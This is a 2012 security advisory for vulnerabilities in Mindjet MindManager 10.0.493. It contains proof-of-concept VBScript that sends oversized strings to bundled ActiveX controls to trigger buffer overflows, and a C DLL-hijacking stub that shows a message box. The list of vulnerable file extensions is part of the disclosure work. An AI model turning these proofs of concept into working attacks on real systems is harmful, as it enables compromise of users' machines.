Mindjet MindManager 2012 10.0.493 Buffer Overflow / Denial Of Service

`  
Mindjet MindManager 2012 v10.0.493 Multiple Remote Vulnerabilities  
  
  
Vendor: Mindjet  
Product web page: http://www.mindjet.com  
Affected version: 10.0.493 (Windows)  
  
Summary: An intuitive visual framework that fosters clarity,  
innovative thinking & communication to improve business results.  
  
Desc: MindManager suffers from several vulnerabilities included  
into the whole package. Several OCX and DLL libraries from 3rd  
party software (glg.ocx, officeviewermme.ocx, pdfxctrl.dll, vsflex8n.ocx  
and ChartFX.ClientServer.Core.dll) are vulnerable to buffer overflow  
and denial of service (IE). Also the application is vulnerable to insecure  
library loading with every file extension thru ssgp.dll and dwmapi.dll.  
  
Tested on Microsoft Windows XP Professional SP3 (EN)  
  
  
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2012-5068  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5068.php  
  
  
Other vulnerabilities:  
  
http://www.exploit-db.com/exploits/12673/  
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5067.php  
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5069.php  
  
  
25.01.2012  
  
---  
  
  
<object classid='clsid:74233DB3-F72F-44EA-94DC-258A624037E6' id='target' />  
<script language='vbscript'>  
  
targetFile = "C:\Program Files\Mindjet\MindManager 10\vsflex8n.ocx"  
prototype = "Sub Archive ( ByVal ArcFileName As String , ByVal FileName As String , ByVal Action As ArchiveSettings )"  
memberName = "Archive"  
progid = "VSFlex8N.VSFlexGrid"  
argCount = 3  
  
arg1=String(7188, "A")  
arg2="defaultV"  
arg3=1  
  
target.Archive arg1 ,arg2 ,arg3   
  
</script>  
  
############  
  
CompanyName ComponentOne  
FileDescription VSFlexGrid8 (UNICODE)  
FileVersion 8, 0, 20031, 172  
InternalName   
LegalCopyright Copyright 1999, 2002 ComponentOne  
OriginalFileName VSFlex8u.OCX  
ProductName VSFlexGrid8  
ProductVersion 8, 0, 20031, 172  
  
Report for Clsid: {74233DB3-F72F-44EA-94DC-258A624037E6}  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller,data   
IPStorage Safe: Safe for untrusted: caller,data   
  
############  
  
------------------------------  
  
  
<object classid='clsid:E9DF30CA-4B30-4235-BF0C-7150F646606C' id='target' />  
<script language='vbscript'>  
  
targetFile = "C:\Program Files\Mindjet\MindManager 10\ChartFX.ClientServer.Core.dll"  
prototype = "Property Let TipMask As String"  
memberName = "TipMask"  
progid = "Cfx62ClientServer.Chart"  
argCount = 1  
  
'arg1=String(13332, "A")  
target.TipMask = arg1  
  
</script>  
  
  
############  
  
CompanyName Software FX, Inc.  
FileDescription ChartFX Client Server  
FileVersion 6.2.2089.27167  
InternalName ChartFX.ClientServer.Core.dll  
LegalCopyright Copyright 1993-2005 Software FX, Inc.  
OriginalFileName ChartFX.ClientServer.Core.dll  
ProductName ChartFX Client Server  
ProductVersion 6.2  
  
Report for Clsid: {E9DF30CA-4B30-4235-BF0C-7150F646606C}  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller,data   
IPersist Safe: Safe for untrusted: caller,data   
IPStorage Safe: Safe for untrusted: caller,data   
  
  
  
Vulnerable members  
--------------------  
Function HitTestEx (  
ByVal X As Long ,   
ByVal Y As Long   
) As _MouseEventArgsX  
  
# vuln var: Y, X  
  
-------------------------------------------  
Sub OpenData (  
ByVal COD As COD ,   
ByVal n1 As Long ,   
ByVal n2 As Long   
)  
  
# vuln var: n1, n2  
  
-------------------------------------------  
Sub ShowPropertiesDialog (  
ByVal context As Variant ,   
ByVal pageNumber As Long   
)  
  
# vuln var: pagenumber  
  
-------------------------------------------  
  
############  
  
------------------------------  
  
DLL Hijack:  
  
Vulnerable extensions:  
- .mmap  
- .xmmap  
- .xml  
- .mmp  
- .mmat  
- .xmmat  
- .mmpt  
- .mmmp  
- .xmmmp  
- .mmas  
- .xmmas  
- .docx  
- .dotx  
- .doc  
- .dot  
- .mpx  
  
(ssgp.dll / dwmapi.dll)  
  
---  
  
#include <windows.h>  
  
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)  
{  
  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH:  
dll_mll();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
  
return TRUE;  
}  
  
int dll_mll()  
{  
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);  
}  
  
------------------------------  
`